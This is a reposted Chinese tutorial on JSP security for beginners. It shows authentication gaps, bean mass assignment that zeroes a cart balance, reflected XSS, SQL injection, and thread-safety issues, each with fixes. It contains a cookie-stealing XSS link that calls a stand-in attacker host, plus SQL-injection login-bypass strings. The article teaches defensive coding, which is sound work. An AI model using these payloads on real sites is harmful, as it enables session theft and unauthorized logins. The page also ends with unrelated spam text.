JSP安全編程實(shí)例淺析

          By lanf , 出處:http://www.xfocus.net/articles/200404/687.html

          作者:Stone_Star(turbid_limpid_at_hotmail.com)

          Java Server Page(JSP)作為建立動態(tài)網(wǎng)頁的技術(shù)正在不斷升溫。JSP和ASP、PHP、工作機(jī)制不太一樣。一般說來,JSP頁面在執(zhí)行時是編譯式,而不是解釋式的。首次調(diào)用JSP文件其實(shí)是執(zhí)行一個編譯為Servlet的過程。當(dāng)瀏覽器向服務(wù)器請求這一個JSP文件的時候,服務(wù)器將檢查自上次編譯后JSP文件是否有改變,如果沒有改變,就直接執(zhí)行Servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。
          ?? 今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內(nèi)了。寫這篇文章的主要目的是給初學(xué)JSP編程的朋友們提個醒,從一開始就要培養(yǎng)安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。另外,我也是初學(xué)者,如有錯誤或其它意見請發(fā)帖賜教。

          一、認(rèn)證不嚴(yán)——低級失誤
          ?? 在溢洋論壇v1.12 修正版中,
          user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:
          if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系統(tǒng)管理員")))
          {
          response.sendRedirect("err.jsp?id=14");
          return;
          }
          ?? 如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件。管理員提交
          http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
          就是查看、修改ID為51的用戶的資料(管理員默認(rèn)的用戶ID為51)。但是,如此重要的文件竟缺乏認(rèn)證,普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲、顯示的)。modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數(shù)據(jù)更新的操作執(zhí)行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然,只鎖一扇門是遠(yuǎn)遠(yuǎn)不夠的,編程的時候一定要不厭其煩地為每一個該加身份認(rèn)證的地方加上身份認(rèn)證。

          二、守好JavaBean的入口
          ?? JSP組件技術(shù)的核心是被稱為bean的java組件。在程序中可把邏輯控制、數(shù)據(jù)庫操作放在javabeans組件中,然后在JSP文件中調(diào)用它,這樣可增加程序的清晰度及程序的可重用性。和傳統(tǒng)的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因?yàn)樵S多動態(tài)頁面處理過程可以封裝到JavaBean中。
          ?? 要改變JavaBean屬性,要用到“<jsp:setProperty>”標(biāo)記。
          下面的代碼是假想的某電子購物系統(tǒng)的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結(jié)帳的。
          <jsp:useBean id="myBasket" class="BasketBean">
          <jsp:setProperty name="myBasket" property="*"/>
          <jsp:useBean>
          <html>
          <head><title>Your Basket</title></head>
          <body>
          <p>
          You have added the item
          <jsp::getProperty name="myBasket" property="newItem"/>
          to your basket.??
          <br/>
          Your total is $
          <jsp::getProperty name="myBasket" property="balance"/>
          Proceed to <a href="checkout.jsp">checkout</a>
          ?? 注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變量的值,將存儲到匹配的bean屬性中。
          一般,用戶是這樣提交請求的:
          http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
          但是不守規(guī)矩的用戶呢?他們可能會提交:
          http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
          這樣,balance=0的信息就被在存儲到了JavaBean中了。當(dāng)他們這時點(diǎn)擊“chekout”結(jié)賬的時候,費(fèi)用就全免了。
          ?? 這與PHP中全局變量導(dǎo)致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

          三、長盛不衰的跨站腳本
          ?? 跨站腳本(Cross Site Scripting)攻擊是指在遠(yuǎn)程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設(shè)置,破壞用戶的數(shù)據(jù)。跨站腳本攻擊在多數(shù)情況下不會對服務(wù)器和WEB程序的運(yùn)行造成影響,但對客戶端的安全構(gòu)成嚴(yán)重的威脅。
          ?? 以仿動網(wǎng)的阿菜論壇(beta-1)舉個最簡單的例子。當(dāng)我們提交
          http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>
          便能彈出包含自己cookie信息的對話框。而提交
          http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>
          就能重定向到網(wǎng)易。
          ?? 由于在返回“name”變量的值給客戶端時,腳本沒有進(jìn)行任何編碼或過濾惡意代碼,當(dāng)用戶訪問嵌入惡意“name”變量數(shù)據(jù)鏈接時,會導(dǎo)致腳本代碼在用戶瀏覽器上執(zhí)行,可能導(dǎo)致用戶隱私泄露等后果。比如下面的鏈接:
          http://www.somesite.com/acjspbbs/dispuser.jsp? name=someuser<;script>document.location=' http://www.hackersite.com/xxx.xxx?'+document.cookie</script>
          xxx.xxx用于收集后邊跟的參數(shù),而這里參數(shù)指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在ASP世界中,很多人已經(jīng)把偷cookie的技術(shù)練得爐火純青了。在JSP里,讀取cookie也不是難事。當(dāng)然,跨站腳本從來就不會局限于偷cookie這一項(xiàng)功能,相信大家都有一定了解,這里就不展開了。
          ?? 對所有動態(tài)頁面的輸入和輸出都應(yīng)進(jìn)行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信數(shù)據(jù)編碼是資源密集型的工作,會對 Web 服務(wù)器產(chǎn)生性能方面的影響。常用的手段還是進(jìn)行輸入數(shù)據(jù)的過濾,比如下面的代碼就把危險的字符進(jìn)行替換:
          <% String message = request.getParameter("message");
          message = message.replace ('<','_');
          message = message.replace ('>','_');
          message = message.replace ('"','_');
          message = message.replace ('\'','_');
          message = message.replace ('%','_');
          message = message.replace (';','_');
          message = message.replace ('(','_');
          message = message.replace (')','_');
          message = message.replace ('&','_');
          message = message.replace ('+','_'); %>
          ?? 更積極的方式是利用正則表達(dá)式只允許輸入指定的字符:
          public boolean isValidInput(String str)
          {
          if(str.matches("[a-z0-9]+")) return true;
          else return false;
          }

          四、時刻牢記SQL注入
          ?? 一般的編程書籍在教初學(xué)者的時候都不注意讓他們從入門時就培養(yǎng)安全編程的習(xí)慣。著名的《JSP編程思想與實(shí)踐》就是這樣向初學(xué)者示范編寫帶數(shù)據(jù)庫的登錄系統(tǒng)的(數(shù)據(jù)庫為MySQL):
          Statement stmt = conn.createStatement();
          String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
          ResultSet rs = stmt.executeQuery(checkUser);
          if(rs.next())
          ?? response.sendRedirect("SuccessLogin.jsp");
          else
          ?? response.sendRedirect("FailureLogin.jsp");
          ?? 這樣使得盡信書的人長期使用這樣先天“帶洞”的登錄代碼。如果數(shù)據(jù)庫里存在一個名叫“jack”的用戶,那么在不知道密碼的情況下至少有下面幾種方法可以登錄:
          用戶名:jack
          密碼:' or 'a'='a
          用戶名:jack
          密碼:' or 1=1/*
          用戶名:jack' or 1=1/*
          密碼:(任意)
          lybbs(凌云論壇)ver 2.9.Server在LogInOut.java中是這樣對登錄提交的數(shù)據(jù)進(jìn)行檢查的:
          if(s.equals("") ││ s1.equals(""))
          ?? throw new UserException("用戶名或密碼不能空。");
          if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
          ?? throw new UserException("用戶名不能包括 ' \" \\ , 等非法字符。");
          if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
          ???? throw new UserException("密碼不能包括 ' \" \\ * 等非法字符。");
          if(s.startsWith(" ") ││ s1.startsWith(" "))
          ??????throw new UserException("用戶名或密碼中不能用空格。");
          ?? 但是我不清楚為什么他只對密碼而不對用戶名過濾星號。另外,正斜杠似乎也應(yīng)該被列到“黑名單”中。我還是認(rèn)為用正則表達(dá)式只允許輸入指定范圍內(nèi)的字符來得干脆。
          ?? 這里要提醒一句:不要以為可以憑借某些數(shù)據(jù)庫系統(tǒng)天生的“安全性”就可以有效地抵御所有的攻擊。pinkeyes的那篇《PHP注入實(shí)例》就給那些依賴PHP的配置文件中的“magic_quotes_gpc = On”的人上了一課。

          五、String對象帶來的隱患
          ?? Java平臺的確使安全編程更加方便了。Java中無指針,這意味著 Java 程序不再像C那樣能對地址空間中的任意內(nèi)存位置尋址了。在JSP文件被編譯成 .class 文件時會被檢查安全性問題,例如當(dāng)訪問超出數(shù)組大小的數(shù)組元素的嘗試將被拒絕,這在很大程度上避免了緩沖區(qū)溢出攻擊。但是,String對象卻會給我們帶來一些安全上的隱患。如果密碼是存儲在 Java String 對象中的,則直到對它進(jìn)行垃圾收集或進(jìn)程終止之前,密碼會一直駐留在內(nèi)存中。即使進(jìn)行了垃圾收集,它仍會存在于空閑內(nèi)存堆中,直到重用該內(nèi)存空間為止。密碼 String 在內(nèi)存中駐留得越久,遭到竊聽的危險性就越大。更糟的是,如果實(shí)際內(nèi)存減少,則操作系統(tǒng)會將這個密碼 String 換頁調(diào)度到磁盤的交換空間,因此容易遭受磁盤塊竊聽攻擊。為了將這種泄密的可能性降至最低(但不是消除),您應(yīng)該將密碼存儲在 char 數(shù)組中,并在使用后對其置零(String 是不可變的,無法對其置零)。

          六、線程安全初探
          ?? “JAVA能做的,JSP就能做”。與ASP、PHP等腳本語言不一樣,JSP默認(rèn)是以多線程方式執(zhí)行的。以多線程方式執(zhí)行可大大降低對系統(tǒng)的資源需求,提高系統(tǒng)的并發(fā)量及響應(yīng)時間。線程在程序中是獨(dú)立的、并發(fā)的執(zhí)行路徑,每個線程有它自己的堆棧、自己的程序計數(shù)器和自己的局部變量。雖然多線程應(yīng)用程序中的大多數(shù)操作都可以并行進(jìn)行,但也有某些操作(如更新全局標(biāo)志或處理共享文件)不能并行進(jìn)行。如果沒做好線程的同步,在大并發(fā)量訪問時,不需要惡意用戶的“熱心參與”,問題也會出現(xiàn)。最簡單的解決方案就是在相關(guān)的JSP文件中加上: <%@ page isThreadSafe="false" %>指令,使它以單線程方式執(zhí)行,這時,所有客戶端的請求以串行方式執(zhí)行。這樣會嚴(yán)重降低系統(tǒng)的性能。我們可以仍讓JSP文件以多線程方式執(zhí)行,通過對函數(shù)上鎖來對線程進(jìn)行同步。一個函數(shù)加上synchronized 關(guān)鍵字就獲得了一個鎖。看下面的示例:
          public class MyClass{
          ?? int a;
          ?? public Init() {//此方法可以多個線程同時調(diào)用
          ?????? a = 0;
          ?? }
          ?? public synchronized void Set() {//兩個線程不能同時調(diào)用此方法
          ?????? if(a>5) {
          ?????????? a= a-5;
          ?????? }
          ?? }
          }
          ?? 但是這樣仍然會對系統(tǒng)的性能有一定影響。一個更好的方案是采用局部變量代替實(shí)例變量。因?yàn)閷?shí)例變量是在堆中分配的,被屬于該實(shí)例的所有線程共享,不是線程安全的,而局部變量在堆棧中分配,因?yàn)槊總€線程都有它自己的堆棧空間,所以這樣線程就是安全的了。比如凌云論壇中添加好友的代碼:
          public void addFriend(int i, String s, String s1)
          ?? throws DBConnectException
          {
          ???? try
          ???? {
          ?????????? if……
          else
          ?????????? {
          ?????????????? DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
          ?????????????? dbconnect.setInt(1, i);
          ?????????????? dbconnect.setString(2, s);
          ?????????????? dbconnect.executeUpdate();
          ?????????????? dbconnect.close();
          ?????????????? dbconnect = null;
          ?????????? }
          ?????? }
          ??????catch(Exception exception)
          ?????? {
          ?????????? throw new DBConnectException(exception.getMessage());
          ?????? }
          }
          ?? 下面是調(diào)用:
          friendName=ParameterUtils.getString(request,"friendname");
          if(action.equals("adduser")) {
          ?? forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
          ?? errorInfo=forumFriend.getErrorInfo();
          }
          ?? 如果采用的是實(shí)例變量,那么該實(shí)例變量屬于該實(shí)例的所有線程共享,就有可能出現(xiàn)用戶A傳遞了某個參數(shù)后他的線程轉(zhuǎn)為睡眠狀態(tài),而參數(shù)被用戶B無意間修改,造成好友錯配的現(xiàn)象。

          參考文獻(xiàn):
          Jordan Dimov:《JSP Security》
          developerWorks:《Java安全性》
          徐春金:編寫線程安全的JSP程序

          posted on 2009-12-07 16:05 飛熊 閱讀(113) 評論(0)  編輯  收藏


          只有注冊用戶登錄后才能發(fā)表評論。


          網(wǎng)站導(dǎo)航:
           
          <2025年6月>
          25262728293031
          1234567
          891011121314
          15161718192021
          22232425262728
          293012345

          導(dǎo)航

          統(tǒng)計

          常用鏈接

          留言簿(1)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          收藏夾

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 乐至县| 内乡县| 福贡县| 常熟市| 德令哈市| 汤阴县| 织金县| 金川县| 城固县| 大关县| 红原县| 遂溪县| 平阴县| 榕江县| 濮阳县| 亳州市| 石家庄市| 青田县| 瓦房店市| 平安县| 恩平市| 明光市| 拜城县| 罗山县| 青铜峡市| 潼南县| 博客| 贺州市| 丹凤县| 康保县| 五华县| 林芝县| 太保市| 上饶县| 平乐县| 当雄县| 华蓥市| 综艺| 城步| 申扎县| 武宣县|